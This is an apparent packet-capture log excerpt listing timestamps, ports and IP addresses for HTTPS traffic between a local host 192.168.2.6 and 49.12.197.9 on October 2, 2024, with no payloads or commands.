Oct 2, 2024 17:18:03.377136946 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.377216101 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.382028103 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.382074118 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.382107019 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.382123947 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.382139921 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.382193089 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.395983934 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.396001101 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.396055937 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.396075964 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.396090984 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.396114111 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.396728992 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.396744967 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.396795034 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.396804094 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.396827936 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.396836042 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.408647060 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.408663988 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.408720016 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.408739090 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.408827066 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.417514086 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.417557001 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.417582035 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.417599916 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.417649984 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.417649984 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.435255051 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.435302019 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.435359001 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.435373068 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.435395956 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.435415983 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.451896906 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.451940060 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.451961994 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.451977015 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.452003002 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.452019930 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.467199087 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.467258930 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.467287064 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.467300892 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.467334986 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.467350960 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.472843885 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.472888947 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.472913027 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.472924948 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.472953081 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.472969055 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.486748934 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.486790895 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.486819029 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.486833096 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.486854076 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.486871004 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.487698078 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.487720966 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.487755060 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.487761974 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.487795115 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.487811089 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.497383118 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.497399092 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.497442961 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.497466087 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.497479916 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.497503042 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.507283926 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.507307053 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.507342100 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.507360935 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.507380009 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.507396936 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.525008917 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.525043964 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.525078058 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.525111914 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.525125980 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.525154114 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.541625023 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.541675091 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.541699886 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.541712046 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.541742086 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.541755915 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.557383060 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.557405949 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.557459116 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.557487965 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.557506084 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.557559967 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.567981005 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.567998886 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.568053007 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.568062067 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.568161964 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.583019018 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.583040953 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.583110094 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.583129883 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.583559036 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.583928108 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.583945990 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.583981037 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.583988905 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.584014893 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.584029913 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.595946074 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.595964909 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.596026897 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.596046925 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.597893000 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.597913980 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.597963095 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.597974062 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.597990036 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.598028898 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.615740061 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.615757942 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.615825891 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.615866899 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.615911961 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.632546902 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.632592916 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.632617950 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.632646084 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.632662058 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.632687092 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.648334026 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.648379087 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.648407936 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.648427963 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.648452997 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.648473978 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.658768892 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.658813953 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.658843994 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.658854008 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.658888102 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.658899069 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.673821926 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.673878908 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.673907042 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.673918962 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.673945904 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.673960924 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.674885988 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.674930096 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.674961090 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.674968958 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.674983978 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.675000906 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.686804056 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.686825991 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.686888933 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.686899900 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.686930895 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.686943054 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.688874960 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.688891888 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.688935041 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.688944101 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.688977003 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.688987017 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.708180904 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.708197117 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.708240032 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.708250999 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.708277941 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.708287001 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.729268074 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.729320049 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.729341030 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.729351044 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.729372978 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.729389906 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.738970995 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.739013910 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.739044905 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.739062071 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.739089012 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.739105940 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.749448061 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.749473095 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.749519110 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.749531984 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.749561071 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.749583006 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.781267881 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.781322002 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.781359911 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.781383038 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.781416893 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.781466007 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.781667948 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.781708956 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.781729937 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.781738043 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.781769991 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.781781912 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.782737970 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.782780886 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.782808065 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.782814980 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.782845020 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.782855034 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.784463882 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.784508944 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.784529924 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.784538031 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.784569979 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.784588099 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.799165964 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.799209118 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.799236059 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.799246073 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.799279928 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.799294949 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.819977999 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.820003033 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.820046902 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.820055008 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.820091009 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.820111036 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.829880953 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.829933882 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.829967022 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.829977036 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.830008030 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.830044031 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.840405941 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.840457916 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.840493917 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.840504885 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.840538025 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.840545893 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.872071028 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.872122049 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.872164011 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.872183084 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.872208118 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.872231007 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.872600079 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.872648001 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.872668982 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.872678041 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.872700930 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.872728109 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.873254061 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.873295069 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.873327971 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.873337030 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.873359919 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.873375893 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.873771906 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.873816013 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.873843908 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.873851061 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.873877048 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.873887062 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.889925003 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.889986992 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.890022993 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.890043020 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.890068054 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.890096903 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.910813093 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.910866022 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.910895109 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.910911083 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.910928965 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.910947084 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.920583010 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.920624971 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.920667887 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.920690060 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.920707941 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.920731068 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.931298018 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.931349039 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.931371927 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.931387901 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.931408882 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.931431055 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.962634087 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.962661028 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.962728024 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.962735891 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.962770939 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.962791920 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.962816954 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.963530064 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.963551044 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.963627100 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.963640928 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.963681936 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.964169979 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.964189053 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.964287043 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.964301109 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.964422941 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.980473995 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.980518103 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.980544090 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.980578899 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.980593920 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.980660915 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.001385927 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.001440048 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.001486063 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.001497984 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.001538992 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.012322903 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.012377024 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.012432098 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.012442112 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.012480974 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.012500048 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.022031069 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.022080898 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.022124052 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.022141933 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.022171974 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.022186995 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.053348064 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.053383112 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.053438902 CEST	65310	443	192.168.2.6	49.12.197.9
